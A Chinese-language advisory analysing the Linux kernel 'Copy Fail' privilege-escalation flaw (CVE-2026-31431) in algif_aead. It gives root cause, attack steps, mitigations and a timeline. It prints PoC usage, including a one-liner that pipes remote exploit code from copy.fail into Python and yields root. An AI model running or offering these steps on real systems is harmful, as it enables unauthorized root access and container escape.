algif_aead 页缓存写入实现本地权限提升(“Copy Fail”)
作者: Van Glenndon Enad
原始发现: Theori / Xint Code 研究团队(Taeyang Lee)
发布时间: 2026 年 4 月 29 日
严重性: 高
CVSS v3.1 评分: 7.8
CVSS v3.1 向量: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
CWE: CWE-787(越界写入)、CWE-269(权限管理不当)
CVE-2026-31431,公开代号为 “Copy Fail”,是 Linux 内核 algif_aead 模块(内核用户态加密 API(AF_ALG)的 AEAD 密码接口)中的一个高危本地权限提升(LPE)漏洞。该缺陷源于 2017 年通过提交 72548b093ee3 引入的一项性能优化(原地操作),该优化意外地允许页缓存支持的文件页在 AEAD 密码操作期间被放入可写的目标散列列表(scatterlist)中。
通过串联三个内核子系统——AF_ALG 套接字、splice() 系统调用以及 authencesn 算法的临时写入行为——非特权本地用户可以对任何可读文件执行受控的 4 字节写入到其页缓存中。以 setuid 二进制文件(如 /usr/bin/su)为目标,此写入会破坏内存中的可执行映像,而不会修改磁盘上的文件,从而绕过磁盘文件完整性工具。由此产生的 root 权限提升是确定性的——无需竞态条件、无需针对特定发行版的内核偏移、也无需特殊权限。一个公开的 732 字节 Python PoC 漏洞利用程序可在 Ubuntu、Amazon Linux、RHEL 和 SUSE 上以一次未修改的运行获得 root shell。
该漏洞已在所有主流 Linux 发行版中悄然存在近九年。根据 Theori 的说法,AF_ALG 在几乎所有发行版的默认内核配置中均已启用,这意味着系统无需特殊构建标志或配置即可受到该漏洞影响。
Linux 内核通过 AF_ALG 套接字接口(crypto/algif_aead.c)向用户态暴露密码学原语。2017 年,一项性能优化被合并,允许 algif_aead 原地执行 AEAD 操作——重用源内存缓冲区作为目标——以避免不必要的数据复制。
当用户态通过 splice() 系统调用将输入送入 AF_ALG 套接字时,缺陷便会出现。在这种情况下,放入源散列列表的页面是页缓存页面——即支持被拼接文件的共享、内核管理的内存。由于原地优化设置了 req->src = req->dst,这些页缓存页面最终会进入可写的目标散列列表。随后,authencesn 算法会在 dst[assoclen + cryptlen] 处执行临时写入,该位置解析为这些页缓存页面内的一个偏移量——实际上是将攻击者控制的数据写入被拼接文件的内存映像中。
由于页缓存在整个主机(包括容器)之间共享,一个进程的写入会影响同一内核上每个进程和容器对该文件的缓存页面。
algif_aead.c 中有问题的更改设置了 req->src = req->dst,并通过 sg_chain() 将源散列列表中的标签页链接到输出散列列表中:
/* 2017 年原地优化 — 提交 72548b093ee3 */
req->src = req->dst; /* 源 == 目标 */
sg_chain(dst, n + 1, src_tag); /* 标签页被链接到可写的 dst 中 */
当使用 splice() 将文件送入套接字时,散列列表页面是页缓存支持的,而非私有匿名内存。将它们链接到可写的 dst 散列列表违反了目标应为可写私有内存的假设。
authencesn 临时写入authencesn 模板会在 dst[assoclen + cryptlen] 处写入一个序列号临时值(seqno_lo,AAD 的第 4–7 字节)。由于 dst 现在包含来自被拼接文件的页缓存页面,此写入会落在文件内存映像中攻击者控制的偏移量处:
/* authencesn 临时写入 — 偏移量由 assoclen + cryptlen 决定 */
scatterwalk_map_and_copy(seqno, dst,
req->assoclen + req->cryptlen,
sizeof(seqno), 1); /* 写入页缓存 */
写入的 4 个字节对应于 seqno_lo,攻击者可通过 sendmsg() 发送的 AAD 载荷来控制该值。
AF_ALG 套接字 (SOCK_SEQPACKET)
│
│ splice() — 将文件支持的页面送入套接字
▼
algif_aead 原地优化
│ req->src = req->dst
│ 页缓存页面进入可写散列列表
▼
authencesn 临时写入
│ 在 dst[assoclen + cryptlen] 处写入 seqno_lo
│ = 攻击者选择的 4 字节写入攻击者选择的文件偏移量
▼
页缓存损坏(磁盘上无变化)
修复(a664bf3d603d)完全回退了原地优化——algif_aead 现在始终异地操作,分配单独的目标缓冲区。由于源和目标现在来自不同的映射,src 中的页缓存页面永远无法被 dst 写入路径访问。
前置条件中明显不包含:网络访问、内核调试功能、CAP_SYS_ADMIN、预加载的内核模块或任何预先存在的原语。攻击面完全本地化且自包含。
步骤 1:攻击者打开一个 AF_ALG AEAD 套接字 (SOCK_SEQPACKET)
│ 自动加载 algif_aead 模块;无需 root
▼
步骤 2:攻击者以只读方式打开目标 setuid 二进制文件(例如 /usr/bin/su)
│ 仅需读权限
▼
步骤 3:splice() 将目标文件的页面传输到 AF_ALG 套接字
│ 页缓存页面现在位于源散列列表中
▼
步骤 4:原地优化触发:req->src = req->dst
│ 页缓存页面进入可写的目标散列列表
▼
步骤 5:authencesn 解密路径在 dst[assoclen + cryptlen] 处执行临时写入
│ 攻击者控制 assoclen、cryptlen 以及 4 字节的 seqno_lo 值
▼
步骤 6:受控的 4 字节覆盖写入 /usr/bin/su 的页缓存
│ 内存中的二进制文件被修补;磁盘上的文件未改变
▼
步骤 7:攻击者执行 `su` — 被损坏的内存映像以 root 身份运行
│ setuid 位保留;内核执行攻击者修补的代码
▼
步骤 8:获得 root shell — 权限提升完成
在容器环境中,步骤 6 会将页缓存损坏传播到宿主机以及共享同一内核的所有兄弟容器,从而实现完整的容器逃逸。
PoC(copy_fail_exp.py,732 字节)仅使用 Python 3.10+ 标准库模块:os、socket 和 zlib。该漏洞利用程序在通过 splice() 暂存文件页面后,构造并向 AF_ALG 套接字发送一个精心构造的 sendmsg() 载荷。
/usr/bin/su ELF 补丁默认 PoC 以 /usr/bin/su 为目标。4 字节写入会修补 ELF 二进制文件缓存页面中的特定指令——将权限检查分支或 uid 检查替换为无操作或无条件跳转——这样当随后执行 su 时,setuid 执行环境会以 root 身份运行修补后的代码。该损坏是非持久性的:页面驱逐或重启会恢复原始二进制文件。
与典型的页缓存攻击(例如 Dirty COW)不同,Copy Fail 不需要竞态条件。写入路径是直线型的:splice() → sendmsg() → 临时写入。每次调用都是确定性和同步的,这使得该漏洞利用程序在硬件、内核版本和发行版之间具有高度可靠性。
警告: 此 PoC 仅供教育、研究和授权测试目的使用。请勿将其用于任何您不拥有或未经明确书面许可测试的系统。
规范 PoC 由 Theori 在官方仓库中维护。它是一个自包含的 732 字节 Python 3.10+ 脚本,无外部依赖。
默认用法(以 /usr/bin/su 为目标):
python3 copy_fail_exp.py
自定义 setuid 目标:
python3 copy_fail_exp.py /usr/bin/sudo
单行命令(来自官方网站):
curl https://copy.fail/exp | python3 && su
# id
uid=0(root) gid=1002(user) groups=1002(user)
规范 PoC 的 SHA256:
a567d09b15f6e4440e70c9f2aa8edec8ed59f53301952df05c719aa3911687f9
同一个未修改的脚本已在公开演示中于单个 tmux 会话内分别在 Ubuntu 24.04 LTS、Amazon Linux 2023、RHEL 10.1 和 SUSE 16 上获得 root shell。
最关键的受影响向量是多租户环境:共享开发机器、Kubernetes 工作节点、GitHub Actions 自托管运行器、GitLab/Jenkins CI 代理、笔记本托管平台以及用户提供的代码以普通用户账户运行的无服务器环境。任何运行未修补内核的此类环境都会被任何能够执行代码的用户完全攻陷。
升级内核至包含主线修复提交 a664bf3d603dc3bdcf9ae47cc21e0daec706d7a5 的版本:
禁用 algif_aead 内核模块以从源头阻断攻击路径:
# 在重启后保持阻止状态
echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif.conf
# 从运行中的内核卸载模块(如果已加载)
rmmod algif_aead
这会破坏什么: 这不会影响 dm-crypt/LUKS、kTLS、IPsec/XFRM、SSH 或标准 OpenSSL/GnuTLS/NSS。它可能会影响显式使用
afalgOpenSSL 引擎或直接绑定aead套接字的用户态应用程序。应用前请使用lsof | grep AF_ALG进行验证。
seccomp 阻止 AF_ALG 套接字创建——在您的 seccomp 配置文件中将 SOCK_SEQPACKET + AF_ALG 添加到拒绝列表。AF_ALG AEAD 套接字创建。AF_ALG SOCK_SEQPACKET 套接字的任何进程发出警报——这是漏洞利用的强制性第一步。su/sudo 执行与 AF_ALG 套接字使用相结合作为行为信号进行监控。法律免责声明: 本分析和概念验证严格出于教育、研究和防御性安全目的发布。作者不纵容未经授权访问计算机系统。在对您不拥有的任何系统进行安全测试之前,务必获得明确的书面许可。
| 组件 | 详情 |
|---|
| 受影响子系统 | crypto/algif_aead.c — Linux 内核 AF_ALG AEAD 接口 |
| 漏洞引入版本 | Linux 内核 4.14(2017 年),提交 72548b093ee38a6d4f2a19e6ef1948ae05c181f7 |
| 修复版本 | 6.18.22、6.19.12、7.0 |
| 修复提交 | a664bf3d603dc3bdcf9ae47cc21e0daec706d7a5 |
| 已验证发行版 | Ubuntu 24.04 LTS、Amazon Linux 2023、RHEL 10.1、SUSE 16 |
| 隐含受影响 | Debian、Arch、Fedora、Rocky、AlmaLinux、Oracle Linux 以及任何运行自 2017 年以来构建的未修补内核的发行版 |
| 要求 | 说明 |
|---|
| 本地非特权用户账户 | 无需提升权限 |
| 自 2017 年起构建的内核(≥ 4.14) | 涵盖几乎所有主流发行版 |
启用 AF_ALG(CONFIG_CRYPTO_USER_API) | 几乎所有发行版内核配置中默认启用 |
algif_aead 模块可加载/已加载 | 首次创建 AF_ALG 套接字时自动加载 |
至少一个可读的 setuid 二进制文件 | 例如 /usr/bin/su、/usr/bin/sudo |
| Python 3.10+(用于公开 PoC) | 仅使用标准库中的 os、socket、zlib |
| 参数 | 攻击者控制 | 机制 |
|---|
| 目标文件 | 攻击者可读取的任何文件 | 传递给 splice() |
| 写入偏移量 | assoclen + cryptlen | 通过 sendmsg() 中的套接字选项设置 |
| 写入值(4 字节) | seqno_lo | sendmsg() 中 AAD 载荷的第 4–7 字节 |
| 类别 | 描述 |
|---|
| 机密性 | 以 root 身份完全读取宿主机上的所有文件 |
| 完整性 | 能够写入任意文件、安装后门、修改 /etc/passwd 或 /etc/shadow |
| 可用性 | 完全接管宿主机;可能造成服务中断 |
| 身份验证 | 除本地用户账户外无需任何凭据 |
| 容器逃逸 | 页缓存在宿主机上共享——拥有本地 shell 的 Pod 可以危害节点并跨越租户边界 |
| CI/CD 流水线 | 在自托管运行器上执行的不可信拉取请求会变成运行器宿主机上的 root |
| 持久化 | 利用后:SSH 密钥注入、cron 作业、内核模块安装——均可轻松实现 |
| 取证规避 | 磁盘上的二进制文件从未被修改;文件完整性监控(FIM)、AIDE、Tripwire 看不到任何变化 |
| 发行版 | 修复内核版本 |
|---|
| 上游 Linux | 6.18.22、6.19.12、7.0 |
| Ubuntu 24.04 LTS | 厂商补丁可用 — apt update && apt upgrade |
| Amazon Linux 2023 | 厂商补丁可用 — dnf update kernel |
| RHEL 10.1 | Red Hat 补丁进行中 — AlmaLinux 已发布上游修复 |
| SUSE 16 | 厂商补丁可用 — zypper update kernel-default |
| 日期 | 事件 |
|---|
| 2026-03-23 | Theori 向 Linux 内核安全团队报告漏洞 |
| 2026-03-24 | 收到初步确认 |
| 2026-03-25 | 补丁提出并由内核维护者审查 |
| 2026-04-01 | 修复提交至主线(a664bf3d603d) |
| 2026-04-22 | 分配 CVE-2026-31431 |
| 2026-04-29 | 在 copy.fail 公开披露;PoC 发布在 GitHub 上 |
| 2026-04-30 | AlmaLinux 使用上游修复发布修补内核 |
| 2026-04-30 | Microsoft 安全博客、Sophos、Sysdig、Bugcrowd 发布分析 |
| 2026-05-01 | Kubernetes 容器逃逸 PoC 发布 |
| 2026-05-02 | 发布独立分析和文档 |